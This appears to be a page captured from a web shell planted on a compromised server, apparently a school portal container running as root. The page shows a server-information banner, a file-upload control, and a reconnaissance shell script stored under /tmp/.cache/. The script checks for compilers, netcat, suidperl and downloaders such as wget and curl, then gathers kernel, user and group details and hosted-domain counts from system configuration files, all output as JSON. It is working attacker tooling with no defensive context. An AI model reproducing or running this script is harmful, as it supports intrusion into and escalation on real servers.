| Server IP : / Your IP : 10.244.4.16 [ Web Server : nginx/1.25.3 System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.2.13 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /tmp/.cache/ |
Upload File : |
#!/usr/bin/sh
USEFUL=(gcc lcc cc ld make php perl python ruby tar gzip bzip bzialfa2 nc locate suidperl)
DOWNLOADERS=(wget fetch lynx links curl get lwp-mirror)
echo -e '{"useful":[\c'
for i in ${USEFUL[@]}; do
which=$(which $i)
[[ ! -z "$which" ]] && echo -e \"$i\",'\c',
done
echo -e "\"\"],\c"
echo -e '"downloader":[\c'
for i in ${DOWNLOADERS[@]}; do
which=$(which $i)
[[ ! -z "$which" ]] && echo -e \"$i\",'\c',
done
echo -e "\"\"],\c"
echo -e '"uname":["'$(uname -a | cut -c1-120)'"],\c'
echo -e '"userid":["'$(stat -c "%u [ %U ]" "$0")'"],\c'
echo -e '"groupid":["'$(stat -c "%g [ %G ]" "$0")'"],\c'
echo -e '"domains":["\c'
VIRTUAL_DOMAINS="/etc/virtual/domainowners"
NAMED_CONF="/etc/named.conf"
VALIASES="/etc/valiases/"
VAR_NAMED="/var/named/"
if [[ -e "$VIRTUAL_DOMAINS" ]]; then
if [[ -r "$VIRTUAL_DOMAINS" ]]; then
echo -e $(awk 'END{print NR}' $VIRTUAL_DOMAINS) "domains\c"
elif [[ -r "/etc/virtual/" ]]; then
echo -e $(ls "/etc/virtual/" | wc -l) "domains\c"
elif [[ -r "$NAMED_CONF" ]]; then
echo -e $(awk 'END{print NR}' $NAMED_CONF) "domains\c"
else
echo -e "Cant Read [ /etc/named.conf ]\c"
fi
elif [[ -e "$NAMED_CONF" ]] && [[ -e "$VALIASES" ]] && [[ -e "$VAR_NAMED" ]]; then
if [[ -r "$VALIASES" ]]; then
echo -e $(ls "$VALIASES" | wc -l) "domains\c"
elif [[ -r "$VAR_NAMED" ]]; then
echo -e $(ls "$VAR_NAMED" | wc -l) "domains\c"
elif [[ -r "$NAMED_CONF" ]]; then
echo -e $(awk 'END{print NR}' $NAMED_CONF) "domains\c"
else
echo -e "Cant Read [ /etc/named.conf ]"
fi
elif [[ -e "$NAMED_CONF" ]] && [[ -r "$NAMED_CONF" ]]; then
echo -e $(ls "$NAMED_CONF" | wc -l) "domains\c"
else
echo -e "Cant Read [ /etc/named.conf ]\c"
fi
echo -e '"]}\c'